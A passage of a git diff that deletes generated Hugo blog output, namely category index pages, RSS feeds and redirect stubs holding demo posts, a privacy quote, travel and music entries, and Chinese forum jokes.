    - - - 2015-10-10 - - - - - - - - - lorem - - - - - -
    - - - Move static content to static Jekyll has a rule that any directory not starting with _ will be copied as-is to the _site output. Hugo keeps all static content under static. You should therefore move it all there. With Jekyll, something that looked like -▾ <root>/ ▾ images/ logo.png should become -▾ <root>/ ▾ static/ ▾ images/ logo.png Additionally, you’ll want any files that should reside at the root (such as CNAME) to be moved to static. - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/lorem/page/1/index.html b/themes/public/categories/lorem/page/1/index.html deleted file mode 100644 index 1db62967..00000000 --- a/themes/public/categories/lorem/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/categories/lorem/ \ No newline at end of file diff --git a/themes/public/categories/music/index.html b/themes/public/categories/music/index.html deleted file mode 100644 index 469d8206..00000000 --- a/themes/public/categories/music/index.html +++ /dev/null @@ -1,498 +0,0 @@ - - - - - - - - - - Music | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - - -
    - -
    - - - - - -
    - - - - -
    - -
    - - - - - -
    -

    Kilez More - New World Order

    -
    - - - 2017-11-01 - - - - - - - - - Music - - - - - -
    - - - With the audio post type you can easily integrate a Spotify, SoundCloud, TuneIn or Mixcloud player to your post. -If you don’t want to embed sound but use a header image you can set it with the featuredImage option in your markdown file. - - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/music/index.xml b/themes/public/categories/music/index.xml deleted file mode 100644 index 8f701a3a..00000000 --- a/themes/public/categories/music/index.xml +++ /dev/null @@ -1,36 +0,0 @@ - - - - Music on My cool new Blog - https://h.cowbay.org/categories/music/ - Recent content in Music on My cool new Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 16:23:40 +0100 - - - - - - Kilez More - Life And Death Of The Hegemony - https://h.cowbay.org/video/kilez-more-leben-und-tod-des-imperialismus/ - Wed, 01 Nov 2017 16:23:40 +0100 - - https://h.cowbay.org/video/kilez-more-leben-und-tod-des-imperialismus/ - <p>Kilez More is a great Austrian musician. -Most of his songs have a political background and have amazing lyrics!</p> - -<p></p> - - - - Kilez More - New World Order - https://h.cowbay.org/audio/kilez-more-new-world-order/ - Wed, 01 Nov 2017 16:12:47 +0100 - - https://h.cowbay.org/audio/kilez-more-new-world-order/ - With the audio post type you can easily integrate a Spotify, SoundCloud, TuneIn or Mixcloud player to your post. -If you don&rsquo;t want to embed sound but use a header image you can set it with the featuredImage option in your markdown file. - - - - \ No newline at end of file diff --git a/themes/public/categories/music/page/1/index.html b/themes/public/categories/music/page/1/index.html deleted file mode 100644 index bc71fa91..00000000 --- a/themes/public/categories/music/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/categories/music/ \ No newline at end of file diff --git a/themes/public/categories/new-york/index.html b/themes/public/categories/new-york/index.html deleted file mode 100644 index fc5a9ae6..00000000 --- a/themes/public/categories/new-york/index.html +++ /dev/null @@ -1,406 +0,0 @@ - - - - - - - - - - New York | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    This post has no body – almost

    -
    - - - 2017-05-30 - - - - - - - - - New York - - Other Destinations - - - - - -
    - - - Ut vel lectus et nulla elementum dapibus. Cras turpis dui, fermentum at tincidunt eu, placerat quis urna. In orci justo, condimentum eget consectetur nec, mollis sit amet nisi. Nulla id turpis dolor, non gravida augue. Phasellus quis justo consectetur tellus ultrices tincidunt. - Alchemy from Henry Jun Wah Lee / Evosia on Vimeo. -Vestibulum posuere pharetra sem, in venenatis eros vehicula id. Nulla gravida velit a diam interdum mattis. Lorem ipsum dolor sit amet, consectetur adipiscing elit. - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/new-york/page/1/index.html b/themes/public/categories/new-york/page/1/index.html deleted file mode 100644 index ad807946..00000000 --- a/themes/public/categories/new-york/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/categories/new-york/ \ No newline at end of file diff --git a/themes/public/categories/other-destinations/index.html b/themes/public/categories/other-destinations/index.html deleted file mode 100644 index a01efb0a..00000000 --- a/themes/public/categories/other-destinations/index.html +++ /dev/null @@ -1,406 +0,0 @@ - - - - - - - - - - Other Destinations | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    This post has no body – almost

    -
    - - - 2017-05-30 - - - - - - - - - New York - - Other Destinations - - - - - -
    - - - Ut vel lectus et nulla elementum dapibus. Cras turpis dui, fermentum at tincidunt eu, placerat quis urna. In orci justo, condimentum eget consectetur nec, mollis sit amet nisi. Nulla id turpis dolor, non gravida augue. Phasellus quis justo consectetur tellus ultrices tincidunt. - Alchemy from Henry Jun Wah Lee / Evosia on Vimeo. -Vestibulum posuere pharetra sem, in venenatis eros vehicula id. Nulla gravida velit a diam interdum mattis. Lorem ipsum dolor sit amet, consectetur adipiscing elit. - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/other-destinations/page/1/index.html b/themes/public/categories/other-destinations/page/1/index.html deleted file mode 100644 index aed5fa65..00000000 --- a/themes/public/categories/other-destinations/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/categories/other-destinations/ \ No newline at end of file diff --git a/themes/public/categories/politics/index.html b/themes/public/categories/politics/index.html deleted file mode 100644 index 1c20a665..00000000 --- a/themes/public/categories/politics/index.html +++ /dev/null @@ -1,415 +0,0 @@ - - - - - - - - - - Politics | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/politics/index.xml b/themes/public/categories/politics/index.xml deleted file mode 100644 index 27fe0956..00000000 --- a/themes/public/categories/politics/index.xml +++ /dev/null @@ -1,26 +0,0 @@ - - - - Politics on My cool new Blog - https://h.cowbay.org/categories/politics/ - Recent content in Politics on My cool new Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 16:23:40 +0100 - - - - - - Kilez More - Life And Death Of The Hegemony - https://h.cowbay.org/video/kilez-more-leben-und-tod-des-imperialismus/ - Wed, 01 Nov 2017 16:23:40 +0100 - - https://h.cowbay.org/video/kilez-more-leben-und-tod-des-imperialismus/ - <p>Kilez More is a great Austrian musician. -Most of his songs have a political background and have amazing lyrics!</p> - -<p></p> - - - - \ No newline at end of file diff --git a/themes/public/categories/politics/page/1/index.html b/themes/public/categories/politics/page/1/index.html deleted file mode 100644 index 00a266bf..00000000 --- a/themes/public/categories/politics/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/categories/politics/ \ No newline at end of file diff --git a/themes/public/categories/privacy/index.html b/themes/public/categories/privacy/index.html deleted file mode 100644 index 161ea4dd..00000000 --- a/themes/public/categories/privacy/index.html +++ /dev/null @@ -1,363 +0,0 @@ - - - - - - - - - - Privacy | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - -
    - -
    - - - - - -
    - -
    -

    Arguing that you don’t care about the right to privacy because you have nothing to hide is no different than saying you don’t care about free speech because you have nothing to say.

    - - Edward Snowden -
    -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/privacy/index.xml b/themes/public/categories/privacy/index.xml deleted file mode 100644 index 942b6a2e..00000000 --- a/themes/public/categories/privacy/index.xml +++ /dev/null @@ -1,32 +0,0 @@ - - - - Privacy on My cool new Blog - https://h.cowbay.org/categories/privacy/ - Recent content in Privacy on My cool new Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 13:05:27 +0100 - - - - - - Duckduckgo.com - https://h.cowbay.org/link/duckduckgo/ - Wed, 01 Nov 2017 13:05:27 +0100 - - https://h.cowbay.org/link/duckduckgo/ - A search engnine that respects your privacy. - - - - Edward Snowden About Privacy - https://h.cowbay.org/quote/edward-snowden-privacy/ - Wed, 01 Nov 2017 13:01:14 +0100 - - https://h.cowbay.org/quote/edward-snowden-privacy/ - Arguing that you don&rsquo;t care about the right to privacy because you have nothing to hide is no different than saying you don&rsquo;t care about free speech because you have nothing to say. - - - - \ No newline at end of file diff --git a/themes/public/categories/privacy/page/1/index.html b/themes/public/categories/privacy/page/1/index.html deleted file mode 100644 index 38cdba67..00000000 --- a/themes/public/categories/privacy/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/categories/privacy/ \ No newline at end of file diff --git a/themes/public/categories/programming/index.html b/themes/public/categories/programming/index.html deleted file mode 100644 index 29746b54..00000000 --- a/themes/public/categories/programming/index.html +++ /dev/null @@ -1,539 +0,0 @@ - - - - - - - - - - Programming | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    Testing "django-netjsonconfig"

    -
    - - - 2018-01-14 - - - - - - - - - programming - - - - - -
    - - - A task came up in Google Code-in which asked me to install the django-netjsonconfig module by OpenWISP. Furthermore, I’m also supposed to share the challenges I faced during the set-up process as a sort of feedback. I’ll be trying be concise in this post so, without further ado, I’m beginning with this post. -Installing “django-netjsonconfig” The installation instructions for this this module have been well-documented on its GitHub repository. So I began the installation by creating a Python 2. - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    Linked post

    -
    - - - 2015-10-02 - - - - - - - - - programming - - - - - -
    - - - I’m a linked post in the menu. You can add other posts by adding the following line to the frontmatter: -menu = "main" Lorem ipsum dolor sit amet, consectetur adipiscing elit. In mauris nulla, vestibulum vel auctor sed, posuere eu lorem. Aliquam consequat augue ut accumsan mollis. Suspendisse malesuada sodales tincidunt. Vivamus sed erat ac augue bibendum porta sed id ipsum. Ut mollis mauris eget ligula sagittis cursus. Aliquam id pharetra tellus. - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    Go is for lovers

    -
    - - - 2015-09-17 - - - - - - - - - programming - - - - - - test2 - -
    - - - Hugo uses the excellent go html/template library for its template engine. It is an extremely lightweight engine that provides a very small amount of logic. In our experience that it is just the right amount of logic to be able to create a good static website. If you have used other template systems from different languages or frameworks you will find a lot of similarities in go templates. -This document is a brief primer on using go templates. - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/programming/page/1/index.html b/themes/public/categories/programming/page/1/index.html deleted file mode 100644 index fcb90203..00000000 --- a/themes/public/categories/programming/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/categories/programming/ \ No newline at end of file diff --git a/themes/public/categories/ps/index.html b/themes/public/categories/ps/index.html deleted file mode 100644 index 7b566fd4..00000000 --- a/themes/public/categories/ps/index.html +++ /dev/null @@ -1,367 +0,0 @@ - - - - - - - - - - Ps | MC部落 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    MC部落

    - - 這是MC的HUGO部落格,採用bilberry theme - -
    - - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/ps/index.xml b/themes/public/categories/ps/index.xml deleted file mode 100644 index 4aa1e3d7..00000000 --- a/themes/public/categories/ps/index.xml +++ /dev/null @@ -1,23 +0,0 @@ - - - - Ps on MC部落 - https://h.cowbay.org/categories/ps/ - Recent content in Ps on MC部落 - Hugo -- gohugo.io - Mon, 05 Nov 2018 07:46:53 +0800 - - - - - - Sammy93 - https://h.cowbay.org/gallery/sammy93/ - Mon, 05 Nov 2018 07:46:53 +0800 - - https://h.cowbay.org/gallery/sammy93/ - - - - - \ No newline at end of file diff --git a/themes/public/categories/pseudo/index.html b/themes/public/categories/pseudo/index.html deleted file mode 100644 index 132ec3c0..00000000 --- a/themes/public/categories/pseudo/index.html +++ /dev/null @@ -1,405 +0,0 @@ - - - - - - - - - - Pseudo | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    Hugo is for lovers

    -
    - - - 2015-08-03 - - - - - - - - - pseudo - - - - - - test1 - -
    - - - Step 1. Install Hugo Goto hugo releases and download the appropriate version for your os and architecture. -Save it somewhere specific as we will be using it in the next step. -More complete instructions are available at installing hugo -Step 2. Build the Docs Hugo has its own example site which happens to also be the documentation site you are reading right now. -Follow the following steps: - Clone the hugo repository Go into the repo Run hugo in server mode and build the docs Open your browser to http://localhost:1313 Corresponding pseudo commands: - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/pseudo/page/1/index.html b/themes/public/categories/pseudo/page/1/index.html deleted file mode 100644 index ce17d9fa..00000000 --- a/themes/public/categories/pseudo/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/categories/pseudo/ \ No newline at end of file diff --git a/themes/public/categories/ptt/index.html b/themes/public/categories/ptt/index.html deleted file mode 100644 index fbc642f6..00000000 --- a/themes/public/categories/ptt/index.html +++ /dev/null @@ -1,457 +0,0 @@ - - - - - - - - - - Ptt | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    PTT 簽名檔-寒狗

    -
    - - - 2016-07-12 - - - - - - - - - ptt - - - - - -
    - - - 有一天, 神問狗說:「狗阿~你喜歡住熱帶還是寒帶?」 狗:「當然是熱帶囉!」 神:「為什麼呢?」 狗:「我的良心告訴我,當熱狗比當寒狗好。」 - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [PTT][討論] 台灣女星為什麼都不喜歡露點?

    -
    - - - 2013-04-10 - - - - - - - - - ptt - - - - - -
    - - - 電影版-[討論] 台灣女星為什麼都不喜歡露點? 其中一則推文如下! > dqdq:不露才有機會進豪門,露點的最多進藍寶堅尼車門 超中肯! - - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/ptt/page/1/index.html b/themes/public/categories/ptt/page/1/index.html deleted file mode 100644 index c9238807..00000000 --- a/themes/public/categories/ptt/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/categories/ptt/ \ No newline at end of file diff --git a/themes/public/categories/society/index.html b/themes/public/categories/society/index.html deleted file mode 100644 index ec9f6b87..00000000 --- a/themes/public/categories/society/index.html +++ /dev/null @@ -1,345 +0,0 @@ - - - - - - - - - - Society | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - -
    -

    Arguing that you don’t care about the right to privacy because you have nothing to hide is no different than saying you don’t care about free speech because you have nothing to say.

    - - Edward Snowden -
    -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/society/index.xml b/themes/public/categories/society/index.xml deleted file mode 100644 index a3e90cea..00000000 --- a/themes/public/categories/society/index.xml +++ /dev/null @@ -1,23 +0,0 @@ - - - - Society on My cool new Blog - https://h.cowbay.org/categories/society/ - Recent content in Society on My cool new Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 13:01:14 +0100 - - - - - - Edward Snowden About Privacy - https://h.cowbay.org/quote/edward-snowden-privacy/ - Wed, 01 Nov 2017 13:01:14 +0100 - - https://h.cowbay.org/quote/edward-snowden-privacy/ - Arguing that you don&rsquo;t care about the right to privacy because you have nothing to hide is no different than saying you don&rsquo;t care about free speech because you have nothing to say. - - - - \ No newline at end of file diff --git a/themes/public/categories/society/page/1/index.html b/themes/public/categories/society/page/1/index.html deleted file mode 100644 index 4ca91746..00000000 --- a/themes/public/categories/society/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/categories/society/ \ No newline at end of file diff --git a/themes/public/categories/starting/index.html b/themes/public/categories/starting/index.html deleted file mode 100644 index 1e8c4a78..00000000 --- a/themes/public/categories/starting/index.html +++ /dev/null @@ -1,665 +0,0 @@ - - - - - - - - - - Starting | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    Creating a new theme

    -
    - - - 2015-06-24 - - - - - - - - - starting - - - - - - test1 - -
    - - - Introduction This tutorial will show you how to create a simple theme in Hugo. I assume that you are familiar with HTML, the bash command line, and that you are comfortable using Markdown to format content. I’ll explain how Hugo uses templates and how you can organize your templates to create a theme. I won’t cover using CSS to style your theme. -We’ll start with creating a new site with a very basic template. - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    Creating a new theme

    -
    - - - 2015-06-24 - - - - - - - - - starting - - - - - - test1 - -
    - - - Introduction This tutorial will show you how to create a simple theme in Hugo. I assume that you are familiar with HTML, the bash command line, and that you are comfortable using Markdown to format content. I’ll explain how Hugo uses templates and how you can organize your templates to create a theme. I won’t cover using CSS to style your theme. -We’ll start with creating a new site with a very basic template. - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    Creating a new theme

    -
    - - - 2015-06-24 - - - - - - - - - starting - - - - - - test1 - -
    - - - Introduction This tutorial will show you how to create a simple theme in Hugo. I assume that you are familiar with HTML, the bash command line, and that you are comfortable using Markdown to format content. I’ll explain how Hugo uses templates and how you can organize your templates to create a theme. I won’t cover using CSS to style your theme. -We’ll start with creating a new site with a very basic template. - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    Creating a new theme

    -
    - - - 2015-06-24 - - - - - - - - - starting - - - - - - test1 - -
    - - - Introduction This tutorial will show you how to create a simple theme in Hugo. I assume that you are familiar with HTML, the bash command line, and that you are comfortable using Markdown to format content. I’ll explain how Hugo uses templates and how you can organize your templates to create a theme. I won’t cover using CSS to style your theme. -We’ll start with creating a new site with a very basic template. - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    Creating a new theme

    -
    - - - 2015-06-24 - - - - - - - - - starting - - - - - - test1 - -
    - - - Introduction This tutorial will show you how to create a simple theme in Hugo. I assume that you are familiar with HTML, the bash command line, and that you are comfortable using Markdown to format content. I’ll explain how Hugo uses templates and how you can organize your templates to create a theme. I won’t cover using CSS to style your theme. -We’ll start with creating a new site with a very basic template. - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/starting/page/1/index.html b/themes/public/categories/starting/page/1/index.html deleted file mode 100644 index b622d05d..00000000 --- a/themes/public/categories/starting/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/categories/starting/ \ No newline at end of file diff --git a/themes/public/categories/theme/index.html b/themes/public/categories/theme/index.html deleted file mode 100644 index 4b72a9ee..00000000 --- a/themes/public/categories/theme/index.html +++ /dev/null @@ -1,385 +0,0 @@ - - - - - - - - - - Theme | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/theme/index.xml b/themes/public/categories/theme/index.xml deleted file mode 100644 index 0ad23e9e..00000000 --- a/themes/public/categories/theme/index.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - Theme on My cool new Blog - https://h.cowbay.org/categories/theme/ - Recent content in Theme on My cool new Blog - Hugo -- gohugo.io - - - - - - 筆記 HUGO 主題 Lednerb/bilberry-hugo-theme - https://h.cowbay.org/article/hugo-theme-bliberry/ - Mon, 01 Jan 0001 00:00:00 +0000 - - https://h.cowbay.org/article/hugo-theme-bliberry/ - test 1 - - - - \ No newline at end of file diff --git a/themes/public/categories/theme/page/1/index.html b/themes/public/categories/theme/page/1/index.html deleted file mode 100644 index c390996f..00000000 --- a/themes/public/categories/theme/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/categories/theme/ \ No newline at end of file diff --git a/themes/public/categories/travelling/index.html b/themes/public/categories/travelling/index.html deleted file mode 100644 index 0e10806d..00000000 --- a/themes/public/categories/travelling/index.html +++ /dev/null @@ -1,426 +0,0 @@ - - - - - - - - - - Travelling | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/travelling/index.xml b/themes/public/categories/travelling/index.xml deleted file mode 100644 index 1aaec54f..00000000 --- a/themes/public/categories/travelling/index.xml +++ /dev/null @@ -1,24 +0,0 @@ - - - - Travelling on My cool new Blog - https://h.cowbay.org/categories/travelling/ - Recent content in Travelling on My cool new Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 18:01:26 +0100 - - - - - - My Trip to Scotland - https://h.cowbay.org/gallery/my-trip-to-scotland/ - Wed, 01 Nov 2017 18:01:26 +0100 - - https://h.cowbay.org/gallery/my-trip-to-scotland/ - In June 2017 I&rsquo;ve visited Scotland with my best friend for two weeks. We drove a lot through the beautiful countryside and saw a lot of different animals: cattle, deer, birds, dolphins, and sheep. Sheep everywhere! -At one beautiful camping site, we saw cattle in fog in the very early morning and took a picture of it. The image now has the title &ldquo;Rindviehcher im Nebel&rdquo;, a quite funny German phrase that means cattle in the fog. - - - - \ No newline at end of file diff --git a/themes/public/categories/travelling/page/1/index.html b/themes/public/categories/travelling/page/1/index.html deleted file mode 100644 index 77232bb2..00000000 --- a/themes/public/categories/travelling/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/categories/travelling/ \ No newline at end of file diff --git a/themes/public/categories/tutorials/index.html b/themes/public/categories/tutorials/index.html deleted file mode 100644 index 61802807..00000000 --- a/themes/public/categories/tutorials/index.html +++ /dev/null @@ -1,399 +0,0 @@ - - - - - - - - - - Tutorials | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/tutorials/index.xml b/themes/public/categories/tutorials/index.xml deleted file mode 100644 index b5e0d55a..00000000 --- a/themes/public/categories/tutorials/index.xml +++ /dev/null @@ -1,26 +0,0 @@ - - - - Tutorials on My cool new Blog - https://h.cowbay.org/categories/tutorials/ - Recent content in Tutorials on My cool new Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 09:31:27 +0100 - - - - - - Installing Bilberry Theme - https://h.cowbay.org/code/installing-bilberry-theme/ - Wed, 01 Nov 2017 09:31:27 +0100 - - https://h.cowbay.org/code/installing-bilberry-theme/ - <p>You will find all information to setup this theme with your hugo site -on the official <br> <a href="https://github.com/Lednerb/bilberry-hugo-theme">Github Repository</a>.</p> - -<p></p> - - - - \ No newline at end of file diff --git a/themes/public/categories/tutorials/page/1/index.html b/themes/public/categories/tutorials/page/1/index.html deleted file mode 100644 index 1d6de388..00000000 --- a/themes/public/categories/tutorials/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/categories/tutorials/ \ No newline at end of file diff --git a/themes/public/categories/video/index.html b/themes/public/categories/video/index.html deleted file mode 100644 index e6dcf786..00000000 --- a/themes/public/categories/video/index.html +++ /dev/null @@ -1,415 +0,0 @@ - - - - - - - - - - Video | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/video/index.xml b/themes/public/categories/video/index.xml deleted file mode 100644 index 9ba9c724..00000000 --- a/themes/public/categories/video/index.xml +++ /dev/null @@ -1,26 +0,0 @@ - - - - Video on My cool new Blog - https://h.cowbay.org/categories/video/ - Recent content in Video on My cool new Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 16:23:40 +0100 - - - - - - Kilez More - Life And Death Of The Hegemony - https://h.cowbay.org/video/kilez-more-leben-und-tod-des-imperialismus/ - Wed, 01 Nov 2017 16:23:40 +0100 - - https://h.cowbay.org/video/kilez-more-leben-und-tod-des-imperialismus/ - <p>Kilez More is a great Austrian musician. -Most of his songs have a political background and have amazing lyrics!</p> - -<p></p> - - - - \ No newline at end of file diff --git a/themes/public/categories/video/page/1/index.html b/themes/public/categories/video/page/1/index.html deleted file mode 100644 index 51743afd..00000000 --- a/themes/public/categories/video/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/categories/video/ \ No newline at end of file diff --git a/themes/public/categories/youtube/index.html b/themes/public/categories/youtube/index.html deleted file mode 100644 index 6d5f4c1c..00000000 --- a/themes/public/categories/youtube/index.html +++ /dev/null @@ -1,390 +0,0 @@ - - - - - - - - - - Youtube | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - -
    - - - - -
    - -
    - - - -
    -

    Video1

    -
    - - - 2018-11-01 - - - - - - - - - youtube - - - - - - Eric Chang - -
    - - - - - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/youtube/index.xml b/themes/public/categories/youtube/index.xml deleted file mode 100644 index 08509979..00000000 --- a/themes/public/categories/youtube/index.xml +++ /dev/null @@ -1,23 +0,0 @@ - - - - Youtube on My cool new Blog - https://h.cowbay.org/categories/youtube/ - Recent content in Youtube on My cool new Blog - Hugo -- gohugo.io - Thu, 01 Nov 2018 08:17:31 +0000 - - - - - - Video1 - https://h.cowbay.org/video/video1/ - Thu, 01 Nov 2018 08:17:31 +0000 - - https://h.cowbay.org/video/video1/ - - - - - \ No newline at end of file diff --git a/themes/public/categories/youtube/page/1/index.html b/themes/public/categories/youtube/page/1/index.html deleted file mode 100644 index f88802e6..00000000 --- a/themes/public/categories/youtube/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/categories/youtube/ \ No newline at end of file diff --git a/themes/public/categories/其他/index.html b/themes/public/categories/其他/index.html deleted file mode 100644 index ce025ed2..00000000 --- a/themes/public/categories/其他/index.html +++ /dev/null @@ -1,732 +0,0 @@ - - - - - - - - - - 其他 | My cool new Blog - - 